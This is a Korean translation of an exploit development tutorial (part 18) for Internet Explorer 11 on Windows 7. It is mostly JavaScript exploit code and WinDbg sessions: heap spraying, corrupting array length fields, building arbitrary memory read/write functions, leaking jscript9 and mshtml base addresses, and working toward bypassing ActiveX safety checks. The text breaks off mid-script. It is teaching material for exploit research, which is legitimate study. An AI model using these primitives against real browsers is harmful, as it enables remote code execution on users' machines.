티스토리 뷰
본 문서는 원문 저자인 Massimiliano Tomassoli의 허락 하에 번역이 되었으며, 원문과 관련된 모든 저작물에 대한 저작권은 원문 저자인 Massimiliano Tomassoli에 있음을 밝힙니다.
http://expdev-kiuhnm.rhcloud.com
최신 윈도우즈 익스플로잇 개발 18. IE 11 (Part 1)
hackability.kr (김태범)
hackability_at_naver.com or ktb88_at_korea.ac.kr
2016.07.22
여기서는 VirtualBox VM에 윈도우즈 7, 64 비트, 서비스팩 1 환경에서 Internet Explorer 11버전을 사용합니다.
- http://filehippo.com/download_internet_explorer_windows_7_64/tech/
EmulateIE9
IE 11에서 UAF 버그는 관련 기술 자료들에서 중요한 부분들이 많이 생략되어 있어 찾기가 어렵습니다. 개인적으로 익스플로잇 개발을 하는 학생의 입장으로 정보좀 얻고 싶습니다.
아무튼, 제가 찾은 UAF 버그는 아래 코드가 필요합니다.
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE9" />
아쉽지만 IE 9을 에뮬레이트 할 때, Int32Arrays를 사용할 수 없습니다. 그래서 우리가 IE 10에서 사용했던 방식은 여기서는 사용할 수 없습니다. 이제 다른 방법을 찾아 볼 시간이군요.
Array
IE 10에서 배열(Array)들이 어떻게 메모리에 구성되었는지 보았습니다. IE 11에서도 비슷하지만 좀 흥미로운 차이점이 있습니다. 아래와 같은 간단한 코드로 배열을 생성해봅시다.
1 2 3 4 5 6 7 8 9 10 11 | <html> <head> <script language="javascript"> var a = new Array((0x10000 - 0x20)/4); for (var i = 0; i < a.length; ++i) a[i] = 0x123; </script> </head> <body> </body> </html> | cs |
IE 10 배열은 jscript9!Js::JavascriptArray::NewInstance 호출에 의해 생성됩니다. 이곳에 breakpoint를 설정해보도록 하죠.
bp jscript9!Js::JavascriptArray::NewInstance
IE 11에서 페이지를 다시 불러와도 아무런 반응이 없습니다. 생성자를 한 번 살펴보도록 하겠습니다.
0:002> bc *
0:002> x jscript9!*javascriptarray::javascriptarray*
6f5c2480 jscript9!Js::JavascriptArray::JavascriptArray (<no parameter info>)
6f5c7f42 jscript9!Js::JavascriptArray::JavascriptArray (<no parameter info>)
6f4549ad jscript9!Js::JavascriptArray::JavascriptArray (<no parameter info>)
6f47e091 jscript9!Js::JavascriptArray::JavascriptArray (<no parameter info>)
0:002> bm jscript9!*javascriptarray::javascriptarray*
1: 6f5c2480 @!"jscript9!Js::JavascriptArray::JavascriptArray"
2: 6f5c7f42 @!"jscript9!Js::JavascriptArray::JavascriptArray"
3: 6f4549ad @!"jscript9!Js::JavascriptArray::JavascriptArray"
4: 6f47e091 @!"jscript9!Js::JavascriptArray::JavascriptArray"
여기서 WinDbg가 이상한 에러를 출력합니다.
Breakpoint 1's offset expression evaluation failed.
Check for invalid symbols or bad syntax.
WaitForEvent failed
eax=00000000 ebx=00838e4c ecx=00000000 edx=00000000 esi=00839b10 edi=00000000
eip=7703fc92 esp=05d57350 ebp=05d573d0 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
ntdll!ZwUnmapViewOfSection+0x12:
7703fc92 83c404 add esp,4
혹시 이 에러가 왜 발생되는지 아시는분은 저에게 알려주시기 바랍니다. 일단 이 에러를 피하기 위해서는 직접 4개의 breakpoints를 설정합니다.
bp 6f5c2480
bp 6f5c7f42
bp 6f4549ad
bp 6f47e091
다시 실행하고 IE 에서 차단된 컨텐츠 허용을 하게 되면 두 번째 breakpoint가 동작하며 스택 트레이스는 다음과 같이 나타나게 됩니다.
0:007> k 8
ChildEBP RetAddr
0437bae0 6da6c0c8 jscript9!Js::JavascriptArray::JavascriptArray
0437baf4 6d9d6120 jscript9!Js::JavascriptNativeArray::JavascriptNativeArray+0x13
0437bb24 6da6bfc6 jscript9!Js::JavascriptArray::New<int,Js::JavascriptNativeIntArray>+0x112
0437bb34 6da6bf9c jscript9!Js::JavascriptLibrary::CreateNativeIntArray+0x1a
0437bbf0 6da6c13b jscript9!Js::JavascriptNativeIntArray::NewInstance+0x81 <--------------------
0437bff8 6d950aa3 jscript9!Js::InterpreterStackFrame::Process+0x48e0
0437c11c 04cd0fe9 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x1e8
WARNING: Frame IP not in any known module. Following frames may be wrong.
0437c128 6d94ceab 0x4cd0fe9
모든 breakpoint들을 지운 뒤에 JavascriptNativeIntArray::NewInstance에 breakpoint를 설정합니다.
0:007> bc *
0:007> bp jscript9!Js::JavascriptNativeIntArray::NewInstance
페이지를 다시 불러와 breakpoint가 동작하면 Shift + F11을 눌러 호출로 부터 나갑니다. 이 때, EAX는 JavascriptNativeIntArray 객체를 가리키고 있어야 합니다.
보기에 배열의 버퍼가 4개 요소의 공간만을 갖고 있습니다. 또는 이 4개의 요소들은 해더의 버퍼일까요? 배열의 크기가 증가하게 되면 더 큰 버퍼가 할당되어야 하고 따라서 배열 객체의 버퍼를 가리키는 포인터 역시 변경되어야 합니다. buf_addr 필드에 하드웨어 breakpoint를 설정해보도록 하겠습니다.
ba w4 @eax+14
실행을 다시 재개하면 하드웨어 breakpoint가 동작하고 스택 트레이스는 다음과 같습니다.
0:007> k 8
ChildEBP RetAddr
0437bac0 6daf49a2 jscript9!Js::JavascriptArray::AllocateHead<int>+0x32
0437baf0 6daf4495 jscript9!Js::JavascriptArray::DirectSetItem_Full<int>+0x28d
0437bb44 6d94d9a3 jscript9!Js::JavascriptNativeIntArray::SetItem+0x187 <------------------------
0437bb70 03a860a6 jscript9!Js::CacheOperators::CachePropertyRead<1>+0x54
WARNING: Frame IP not in any known module. Following frames may be wrong.
0437c0c8 6da618a7 0x3a860a6
0437c104 6d950d93 jscript9!InterpreterThunkEmitter::GetNextThunk+0x4f
0437c128 6d94ceab jscript9!Js::FunctionBody::EnsureDynamicInterpreterThunk+0x77
0437c168 6d94d364 jscript9!Js::JavascriptFunction::CallFunction<1>+0x88
예상했듯이, jscript9!Js::JavascriptNativeIntArray::SetItem을 통해 요소들이 추가되게 되면 배열이 커집니다. 새로운 버퍼의 주소는 0x039e0010 입니다. 다시 실행을 재개하고 멈춘뒤에 0x039e0010의 버퍼를 살펴 보면 다음과 같습니다.
보면 버퍼에 어떤 인코딩 없이 0x123이 써진것을 볼 수 있습니다. IE 10에서는 인코딩 방식에 의해 0x247 였었습니다. 주의할 점은 값이 부호를 갖는 정수라는 것 입니다. 그러면 양의 정수 값이 가질 수 있는 가장 큰 값보다 더 큰 값을 배열에 쓰게 되면 어떤일이 발생하는지 보도록 하겠습니다. 힙 스프레이를 통해 버퍼에서 해당 값을 좀더 쉽게 찾을 수 있도록 하겠습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | <html> <head> <script language="javascript"> var a = new Array(); for (var i = 0; i < 0x1000; ++i) { a[i] = new Array((0x10000 - 0x20)/4); for (var j = 0; j < a[i].length; ++j) a[i][j] = 0x123; a[i][0] = 0x80000000; } </script> </head> <body> </body> </html> | cs |
WinDbg에서 0x90000000 같은 주소로 간 뒤, VMMap을 이용하여 적절한 주소를 찾습니다. 그러면 뭔가 익숙한 것을 볼 수 있습니다.
이는 우리가 IE 10에서 봣던 상황으로 숫자가 (2 * N + 1)로 인코드 되어있고, 첫 번째 요소가 0x80000000 를 갖으며 JavascriptNumber 객체를 가리키고 있습니다. 0x80000000을 직접 쓸 수 있는 방식은 없을까요? 있습니다. 이를 위해 음수 중 2의 보수가 0x80000000이 되는 값을 찾으면 됩니다. 해당 값은 다음과 같습니다.
-(0x100000000 - 0x80000000) = -0x80000000
다시 시도해보도록 하겠습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | <html> <head> <script language="javascript"> CollectGarbage(); var a = new Array(); for (var i = 0; i < 0x1000; ++i) { a[i] = new Array((0x10000 - 0x20)/4); for (var j = 0; j < a[i].length; ++j) a[i][j] = 0x123; a[i][0] = -0x80000000; } alert("Done"); </script> </head> <body> </body> </html> | cs |
보시다시피, 우리가 원하는 값을 정확히 얻었습니다.
우리는 IE 11에서 배열이 어떤 인코딩을 거치지 않고 직접 32 비트 부호형 정수를 저장하는 것을 알게 되었습니다. 배열에 32 비트 부호형 정수는 그대로 써지고 그 외의 다른 경우에는 IE 10과 동일하게 (2 * N + 1)로 인코딩 되게 됩니다. 이 뜻은, 우리가 주의만 기울이면 Array를 Int32Array 처럼 사용할 수 있다는 의미가 됩니다. EmulateIE9에서는 Int32Arrays가 유효하지 않기 때문에 이는 굉장히 중요합니다.
끝을 넘어선 읽기/쓰기
IE 10에서는 배열의 크기가 배열 객체와 배열 버퍼의 해더에 나타났습니다. IE 11에서는 뭔가 바뀌었는지 확인해보도록 하겠습니다. 확인을 위해 아래 코드를 사용합니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 | <html> <head> <script language="javascript"> var a = new Array((0x10000 - 0x20)/4); for (var i = 0; i < 7; ++i) a[i] = 0x123; alert("Done"); </script> </head> <body> </body> </html> | cs |
배열의 주소를 구하기 위해서는 아래 breakpoint를 사용합니다.
bp jscript9!Js::JavascriptNativeIntArray::NewInstance+0x85 ".printf \"new Array: addr = 0x%p\\n\",eax;g"
아래 그림은 배열 객체와 해당 버퍼를 나타낸 그림입니다.
다음 코드를 사용해보도록 하겠습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | <html> <head> <script language="javascript"> var array_len = (0x10000 - 0x20)/4; var a = new Array(array_len); for (var i = 0; i < 7; ++i) a[i] = 0x123; alert("Modify the array length"); alert(a[array_len]); </script> </head> <body> </body> </html> | cs |
배열의 실제 끝보다 더 읽거나 쓰기를 위해 배열의 크기를 수정해야 합니다. IE 에서 HTML 페이지를 다시 불러와 첫 번째 알림창이 뜨면 WinDbg로 가서 배열 객체의 크기를 0x20000000으로 덮어 씁니다. 알림창을 닫으면 두 번째 알림창에 undefined 라는 메시지가 뜨게 됩니다. 이 의미는 배열 크기를 넘어선 위치를 읽지 못했다는 의미가 됩니다.
배열 버퍼의 해더에 있는 “Array actual length”를 변경해봐도 (7을 0x20000000 으로) 결과는 동일합니다.
마지막으로 배열 해더에 있는 “Buffer length” 필드를 수정해봐도 (0x3ff8을 0x20000000) 결과는 동일합니다. 그러면 만약 이 3개의 크기 필드를 모두 수정 하면 어떨까요? 동작합니다! 수동으로 이 3개의 값을 수정하는게 꼭 필요한 작업일까요? 배열의 현재 크기를 넘어선 곳의 인덱스에 쓰게 되면 배열은 커지게 됩니다. 만약 버퍼가 너무 작다면, 충분히 큰 버퍼가 할당되게 됩니다. 그러면 또 궁금한게 만약 “Buffer length” 필드만 수정하고 현재 배열의 크기를 넘어선 위치에 인덱스를 이용하여 쓰게 된다면 어떻게 될까요? 만약 로직이 실패하지 않는다면 IE는 버퍼가 충분히 크다고 생각하기 때문에 (사실 가짜 크기) 버퍼를 건들이지 않고 배열을 키우게 됩니다. 다시 말해, IE는 현재 배열의 끝을 넘어서 배열을 쓰게 되면 결과적으로 다른 두개의 크기 필드를 갱신해야 합니다.
코드를 좀 수정해보도록 하겠습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | <html> <head> <script language="javascript"> var array_len = (0x10000 - 0x20)/4; var a = new Array(array_len); for (var i = 0; i < 7; ++i) a[i] = 0x123; alert("Modify the \"Buffer length\" field"); a[array_len + 0x100] = 0; alert(a[array_len]); </script> </head> <body> </body> </html> | cs |
IE 에서 HTML 페이지를 불러오고 첫 번째 알림창이 뜨면 버퍼 해더에 있는 “Buffer length” 필드를 수정합니다. 그 후, 다시 실행을 재개하고 알림창을 닫습니다. IE에서는 우리가 배열 끝 부분 이후에 있는 뭔가 중요한 것을 덮어 써서 충돌이 발생할 수 있습니다. 이 경우, 위 과정을 다시 반복하면 됩니다.
이제, 두 번째 알림창이 뜨면, 배열 객체와 버퍼 해더를 확인합니다.
완벽합니다! 다시 짚어보면 만약 버퍼의 “Buffer length” 필드가 변경되지 않았다면 새로운 버퍼의 크기는 최소 0x40f9가 할당되며 배열의 뒤쪽의 메모리 읽기/쓰기를 할 수가 없습니다.
전체 주소 공간 읽기/쓰기
우리는 전체 주소 공간에 대해 읽기/쓰기 접근을 할 수 있어야 합니다. 이를 위해, 힙에 배열들을 스프레이 하고 배열 중 하나의 해더의 “Buffer length” 필드를 수정하고 수정된 배열을 찾아 마지막으로 다른 배열의 3개 크기 필드를 모두 수정합니다. 이렇게 수정된 두 번째 배열을 이용하여 우리가 원하는 위치에 읽고 쓰기를 하려고합니다.
아래는 자바스크립트 코드입니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 | <html> <head> <script language="javascript"> (function () { CollectGarbage(); var header_size = 0x20; var array_len = (0x10000 - header_size)/4; var a = new Array(); for (var i = 0; i < 0x1000; ++i) { a[i] = new Array(array_len); a[i][0] = 0; } magic_addr = 0xc000000; // /------- allocation header -------\ /--------- buffer header ---------\ // 0c000000: 00000000 0000fff0 00000000 00000000 00000000 00000001 00003ff8 00000000 // array_len buf_len alert("Modify the \"Buffer length\" field of the Array at 0x" + magic_addr.toString(16)); // Locate the modified Array. var idx = -1; for (var i = 0; i < 0x1000 - 1; ++i) { // We try to modify the first element of the next Array. a[i][array_len + header_size/4] = 1; // If we successfully modified the first element of the next Array, then a[i] // is the Array whose length we modified. if (a[i+1][0] == 1) { idx = i; break; } } if (idx == -1) { alert("Can't find the modified Array"); return; } // Modify the second Array for reading/writing everywhere. a[idx][array_len + 0x14/4] = 0x3fffffff; a[idx][array_len + 0x18/4] = 0x3fffffff; a[idx+1].length = 0x3fffffff; var base_addr = magic_addr + 0x10000 + header_size; alert("Done"); })(); </script> </head> <body> </body> </html> | cs |
배열의 버퍼 해더 크기는 0x20인데 이 중, 0x10 바이트는 힙 할당 해더이고 0x10 바이트는 버퍼 해더 입니다.
magic_addr은 우리가 수정한 배열이 위치할 주소입니다. 이 값은 편한 위치로 변경하시면 됩니다.
수정된 배열의 인덱스를 결정하기 위해 배열의 할당 순서와 다음 배열의 첫 요소 수정을 고려해야 합니다. 만약 a[i]가 수정된 배열이고 메모리에 a[i+1]의 버퍼가 a[i] 버퍼 바로 뒤에 있다면 a[i]를 이용하여 a[i+1]의 첫 번째 요소를 수정할 수 있습니다. a[i]가 수정된 배열이 아니라면 새로운 버퍼가 할당되기 때문에 이 버퍼는 증가할 것입니다. 만약 a[idx]가 수정된 배열이라고 결정할 수 있다면 a[idx+1]의 버퍼가 재할당되지 않고 a[idx] 버퍼 뒤에 있음을 확신할 수 있습니다.
이제 우리는 주소 공간 [base_addr, 0xffffffff]에 읽기/쓰기를 할 수 있지만 [0, base_addr]은 어떨까요? a[idx+1]의 버퍼 전에 읽기/쓰기를 할 수 있을까요? 아마, IE는 기본 주소들과 배열의 크기가 정확하다고 보고 오버플로우에 대해서는 확인하지 않을 것 입니다. 예를들어, 0x400000의 dword를 읽고 싶고 base_addr이 0xc010000이라 하면 이를 읽기 위한 요소의 주소는 다음과 같이 계산 될 수 있습니다.
base_addr + index*4 = 0xc010000 + index*4
index * 4 < 2 ^ 32 – base_addr 임을 확인 할 필요가 없습니다. 따라서, 0x400000에 있는 dword를 읽기 위한 인덱스는 다음과 같이 구할 수 있습니다.
0xc010000 + index*4 = 0x400000 (mod 2^32)
index = (0x400000 - 0xc010000)/4 (mod 2^32)
index = (0x400000 + 0 - 0xc010000)/4 (mod 2^32)
index = (0x400000 + 2^32 - 0xc010000)/4 (mod 2^32)
index = 0x3d0fc000 (mod 2^32)
표기로는 다음과 같으며,
a = b (mod N)
이 뜻은 아래와 같이 됩니다.
a = b + k*N for some integer k.
예를들어,
12 = 5 (mod 7)
는 다음과 같이 됩니다.
12 = 5 + 1*7
32 비트 오버플로우는 mod 2^32과 같기 때문입니다. 예를들어,
-5 = 0 - 5 = 2^32 - 5 = 0xfffffffb
이렇게 되는데 그 이유는 mod 2 ^ 32에서 0과 2^32는 동일하기 때문입니다. (0=2^32 – 1 * 2^32)
요약하면, IE가 단순히 index < array_len (여기서는 0x3fffffff)의 확인과 추가적인 오버플로우를 확인하지 않는다면 위를 통해 [0, 0xffffffff] 공간에 대해 읽기/쓰기를 할 수 있습니다. 아래는 읽고 쓰기를 위한 함수들을 구현한 내용입니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 | // Very Important: // The numbers in Array are signed int32. Numbers greater than 0x7fffffff are // converted to 64-bit floating point. // This means that we can't, for instance, write // a[idx+1][index] = 0xc1a0c1a0; // The number 0xc1a0c1a0 is too big to fit in a signed int32. // We'll need to represent 0xc1a0c1a0 as a negative integer: // a[idx+1][index] = -(0x100000000 - 0xc1a0c1a0); function int2uint(x) { return (x < 0) ? 0x100000000 + x : x; } function uint2int(x) { return (x >= 0x80000000) ? x - 0x100000000 : x; } // The value returned will be in [0, 0xffffffff]. function read(addr) { var delta = addr - base_addr; var val; if (delta >= 0) val = a[idx+1][delta/4]; else // In 2-complement arithmetic, // -x/4 = (2^32 - x)/4 val = a[idx+1][(0x100000000 + delta)/4]; return int2uint(val); } // val must be in [0, 0xffffffff]. function write(addr, val) { val = uint2int(val); var delta = addr - base_addr; if (delta >= 0) a[idx+1][delta/4] = val; else // In 2-complement arithmetic, // -x/4 = (2^32 - x)/4 a[idx+1][(0x100000000 + delta)/4] = val; } | cs |
Array는 32 비트 부호형 정수를 갖음을 봤습니다. 저는 부호 없는 32 비트 정수를 다루고 싶기 때문에 부호 있는 정수와 부호가 없는 정수 변환기를 넣었습니다.
아직 잘 동작하는지 확인하지 않았습니다. 아래는 전체 코드 입니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 | <html> <head> <script language="javascript"> (function () { CollectGarbage(); var header_size = 0x20; var array_len = (0x10000 - header_size)/4; var a = new Array(); for (var i = 0; i < 0x1000; ++i) { a[i] = new Array(array_len); a[i][0] = 0; } magic_addr = 0xc000000; // /------- allocation header -------\ /--------- buffer header ---------\ // 0c000000: 00000000 0000fff0 00000000 00000000 00000000 00000001 00003ff8 00000000 // array_len buf_len alert("Modify the \"Buffer length\" field of the Array at 0x" + magic_addr.toString(16)); // Locate the modified Array. var idx = -1; for (var i = 0; i < 0x1000 - 1; ++i) { // We try to modify the first element of the next Array. a[i][array_len + header_size/4] = 1; // If we successfully modified the first element of the next Array, then a[i] // is the Array whose length we modified. if (a[i+1][0] == 1) { idx = i; break; } } if (idx == -1) { alert("Can't find the modified Array"); return; } // Modify the second Array for reading/writing everywhere. a[idx][array_len + 0x14/4] = 0x3fffffff; a[idx][array_len + 0x18/4] = 0x3fffffff; a[idx+1].length = 0x3fffffff; var base_addr = magic_addr + 0x10000 + header_size; // Very Important: // The numbers in Array are signed int32. Numbers greater than 0x7fffffff are // converted to 64-bit floating point. // This means that we can't, for instance, write // a[idx+1][index] = 0xc1a0c1a0; // The number 0xc1a0c1a0 is too big to fit in a signed int32. // We'll need to represent 0xc1a0c1a0 as a negative integer: // a[idx+1][index] = -(0x100000000 - 0xc1a0c1a0); function int2uint(x) { return (x < 0) ? 0x100000000 + x : x; } function uint2int(x) { return (x >= 0x80000000) ? x - 0x100000000 : x; } // The value returned will be in [0, 0xffffffff]. function read(addr) { var delta = addr - base_addr; var val; if (delta >= 0) val = a[idx+1][delta/4]; else // In 2-complement arithmetic, // -x/4 = (2^32 - x)/4 val = a[idx+1][(0x100000000 + delta)/4]; return int2uint(val); } // val must be in [0, 0xffffffff]. function write(addr, val) { val = uint2int(val); var delta = addr - base_addr; if (delta >= 0) a[idx+1][delta/4] = val; else // In 2-complement arithmetic, // -x/4 = (2^32 - x)/4 a[idx+1][(0x100000000 + delta)/4] = val; } alert("Write a number at the address " + (base_addr - 0x10000).toString(16)); var num = read(base_addr - 0x10000); alert("Did you write the number " + num.toString(16) + "?"); alert("Done"); })(); </script> </head> <body> </body> </html> | cs |
모든 동작이 잘 진행되었는지 확인하기 위해 0x80000000 보다 큰 값을 써봅니다. (예를들어, 0x87654321) 운이 좋다면, 모든 것이 잘 동작하는 것처럼 보일 것 입니다.
get_addr 함수
get_addr 함수는 간단합니다.
1 2 3 4 5 6 | function get_addr(obj) { a[idx+2][0] = obj; return read(base_addr + 0x10000); } alert(get_addr(ActiveXObject).toString(16)); | cs |
객체를 a[idx+1][0]에 할당하는 것은 IE에서 충돌이 발생될 수 있기 때문에 할 수가 없습니다. 사실 a[idx+1]은 혼합된 배열이 될 거고 IE는 모든 주소 공간의 dwords를 인코드 하려고 할 것입니다. a[idx] 역시 동일한 이유로 사용하지 못하고 a[idx-1] 또는 이전 배열들도 해당 버퍼들이 어딘가에 재할당되어 있기 때문에 사용할 수 없습니다. 따라서, a[idx+2]가 괜찮아 보입니다.
God Mode
이제 우리는 IE 10에서 IE 11의 God Mode가 필요합니다. 처음 몇개의 줄부터 시작해보죠.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | // At 0c0af000 we can read the vfptr of an Int32Array: // jscript9!Js::TypedArray<int>::`vftable' @ jscript9+3b60 jscript9 = read(0x0c0af000) - 0x3b60; . . . // Back to determining the base address of MSHTML... // Here's the beginning of the element div: // +----- jscript9!Projection::ArrayObjectInstance::`vftable' // v // 70792248 0c012b40 00000000 00000003 // 73b38b9a 00000000 00574230 00000000 // ^ // +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x58b9a var addr = get_addr(document.createElement("div")); alert(addr.toString(16)); return; mshtml = read(addr + 0x10) - 0x58b9a; | cs |
알림창이 뜨면, 가리키고 있는 주소의 메모리를 조사하고 코드를 수정하기 위한 모든 정보를 가져와야 합니다. 아래는 수정된 코드입니다.
1 2 3 4 5 6 7 8 9 10 11 | // Back to determining the base address of MSHTML... // Here's the beginning of the element div: // +----- jscript9!Projection::ArrayObjectInstance::`vftable' = jscript9 + 0x2d50 // v // 04ab2d50 151f1ec0 00000000 00000000 // 6f5569ce 00000000 0085f5d8 00000000 // ^ // +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x1569ce var addr = get_addr(document.createElement("div")); jscript9 = read(addr) - 0x2d50; mshtml = read(addr + 0x10) - 0x1569ce; | cs |
jscript9!ScriptSite::CreateActiveXObject가 아직 존재한다면 분석해봅시다. 먼저, 아래 코드를 추가합니다.
1 | new ActiveXObject("ADODB.Stream"); | cs |
그 후, IE 에서 페이지를 불러와 jscript9!ScriptSite::CreateActiveXObject에 breakpoint를 추가합니다. breakpoint가 동작하면 CreateObjectFromProgID를 호출 할 때까지 진행합니다.
04c05a81 e84a000000 call jscript9!ScriptSite::CreateObjectFromProgID (04c05ad0)
그리고 함수 내부로 들어가 (F11) CanCreateObject를 만날 때까지 진행합니다.
04c05b4c 8d45e8 lea eax,[ebp-18h]
04c05b4f 50 push eax
04c05b50 e86c020000 call jscript9!ScriptEngine::CanCreateObject (04c05dc1)
04c05b55 85c0 test eax,eax
04c05b57 0f84f4150400 je jscript9!ScriptSite::CreateObjectFromProgID+0x116 (04c47151)
또 안으로 들어가 (F11) 가상 호출이 일어날 때까지 진행합니다.
04c05df0 8d55f8 lea edx,[ebp-8]
04c05df3 6a00 push 0
04c05df5 6a00 push 0
04c05df7 6a10 push 10h
04c05df9 ff7508 push dword ptr [ebp+8]
04c05dfc 8b08 mov ecx,dword ptr [eax]
04c05dfe 6a04 push 4
04c05e00 52 push edx
04c05e01 6800120000 push 1200h
04c05e06 50 push eax
04c05e07 ff5110 call dword ptr [ecx+10h] ds:002b:702bcda8={MSHTML!TearoffThunk4 (6f686f2b)} <---------------
04c05e0a 85c0 test eax,eax
04c05e0c 7811 js jscript9!ScriptEngine::CanCreateObject+0x5e (04c05e1f)
04c05e0e f645f80f test byte ptr [ebp-8],0Fh
04c05e12 6a00 push 0
04c05e14 58 pop eax
04c05e15 0f94c0 sete al
04c05e18 5e pop esi
04c05e19 8be5 mov esp,ebp
04c05e1b 5d pop ebp
04c05e1c c20400 ret 4
IE 10에서는 CanCreateObject에서 null 값이 아닌 EAX와 null 값인 EDI를 얻었습니다. 하지만 위 코드를 보시면 IE 11에서는 pop edi 가 없습니다. 이것은 우리가 단지 함수 에필로그만 호출할 수 있음을 의미하는 것일까요?
좀더 유용한 정보를 수집해보도록 하겠습니다.
0:007> ln ecx
(702bcd98) MSHTML!s_apfnPlainTearoffVtable | (702bd4a0) MSHTML!GLSLFunctionInfo::s_info
Exact matches:
MSHTML!s_apfnPlainTearoffVtable = <no type information>
0:007> ? 702bcd98-mshtml
Evaluate expression: 15453592 = 00ebcd98
0:007> ? 04c05e19-jscript9
Evaluate expression: 1400345 = 00155e19
이제 CanCreateObject 에서 나옵니다. (Shift + F11)
04c05b50 e86c020000 call jscript9!ScriptEngine::CanCreateObject (04c05dc1)
04c05b55 85c0 test eax,eax <----------------- we are here
04c05b57 0f84f4150400 je jscript9!ScriptSite::CreateObjectFromProgID+0x116 (04c47151)
04c05b5d 6a05 push 5
04c05b5f 58 pop eax
04c05b60 85ff test edi,edi <---------------- EDI must be 0
04c05b62 0f85fd351200 jne jscript9!DListBase<CustomHeap::Page>::DListBase<CustomHeap::Page>+0x61a58 (04d29165)
보면 EDI는 반드시 0을 갖지만 좀 다른점은 CanCreateObject에서 더이상 EDI를 사용하지 않기 때문에 CanCreateObject에서 반환하기 전에 초기화할 필요가 없습니다. 좋은 소식이군요!
CanObjectRun에 닿기 위해 EAX를 수정합니다.
r eax=1
CanObjectRun을 만날 때까지 진행하고 만나면 안으로 들어갑니다. 진행하다보면 좀 익숙한 가상 호출을 보게 됩니다.
04c05d2c 53 push ebx
04c05d2d 6a18 push 18h
04c05d2f 52 push edx
04c05d30 8d55cc lea edx,[ebp-34h]
04c05d33 895de8 mov dword ptr [ebp-18h],ebx
04c05d36 8b08 mov ecx,dword ptr [eax]
04c05d38 52 push edx
04c05d39 8d55c0 lea edx,[ebp-40h]
04c05d3c 52 push edx
04c05d3d 68845dc004 push offset jscript9!GUID_CUSTOM_CONFIRMOBJECTSAFETY (04c05d84)
04c05d42 50 push eax
04c05d43 ff5114 call dword ptr [ecx+14h] ds:002b:702bcdac={MSHTML!TearoffThunk5 (6f686efc)} <--
04c05d46 85c0 test eax,eax
04c05d48 0f889c341200 js jscript9!DListBase<CustomHeap::Page>::DListBase<CustomHeap::Page>+0x61add (04d291ea)
04c05d4e 8b45c0 mov eax,dword ptr [ebp-40h]
04c05d51 6a03 push 3
04c05d53 5b pop ebx
04c05d54 85c0 test eax,eax
04c05d56 740f je jscript9!ScriptEngine::CanObjectRun+0xaa (04c05d67)
04c05d58 837dcc04 cmp dword ptr [ebp-34h],4
04c05d5c 7202 jb jscript9!ScriptEngine::CanObjectRun+0xa3 (04c05d60)
04c05d5e 8b18 mov ebx,dword ptr [eax]
04c05d60 50 push eax
04c05d61 ff1518a0e704 call dword ptr [jscript9!_imp__CoTaskMemFree (04e7a018)]
04c05d67 6a00 push 0
04c05d69 f6c30f test bl,0Fh
04c05d6c 58 pop eax
04c05d6d 0f94c0 sete al
04c05d70 8b4dfc mov ecx,dword ptr [ebp-4]
04c05d73 5f pop edi
04c05d74 5e pop esi
04c05d75 33cd xor ecx,ebp
04c05d77 5b pop ebx
04c05d78 e8b8b3eaff call jscript9!__security_check_cookie (04ab1135)
04c05d7d 8be5 mov esp,ebp
04c05d7f 5d pop ebp
04c05d80 c20800 ret 8
만약 전과 같은 함수의 에필로그를 호출한다면 jscript9!_imp__CoTaskMemFree 호출을 무시하게 되고 이는 문제가 되진 않습니다. ECX는 CanCreateObject에서 참조된 동일한 vftable을 가리킵니다. CanObjectRun 에필로그의 RVA를 구해보도록 하겠습니다.
0:007> ? 04c05d7d-jscript9
Evaluate expression: 1400189 = 00155d7d
아래는 전체 자바스크립트 코드입니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 | <html> <head> <script language="javascript"> (function () { CollectGarbage(); var header_size = 0x20; var array_len = (0x10000 - header_size)/4; var a = new Array(); for (var i = 0; i < 0x1000; ++i) { a[i] = new Array(array_len); a[i][0] = 0; } magic_addr = 0xc000000; // /------- allocation header -------\ /--------- buffer header ---------\ // 0c000000: 00000000 0000fff0 00000000 00000000 00000000 00000001 00003ff8 00000000 // array_len buf_len alert("Modify the \"Buffer length\" field of the Array at 0x" + magic_addr.toString(16)); // Locate the modified Array. var idx = -1; for (var i = 0; i < 0x1000 - 1; ++i) { // We try to modify the first element of the next Array. a[i][array_len + header_size/4] = 1; // If we successfully modified the first element of the next Array, then a[i] // is the Array whose length we modified. if (a[i+1][0] == 1) { idx = i; break; } } if (idx == 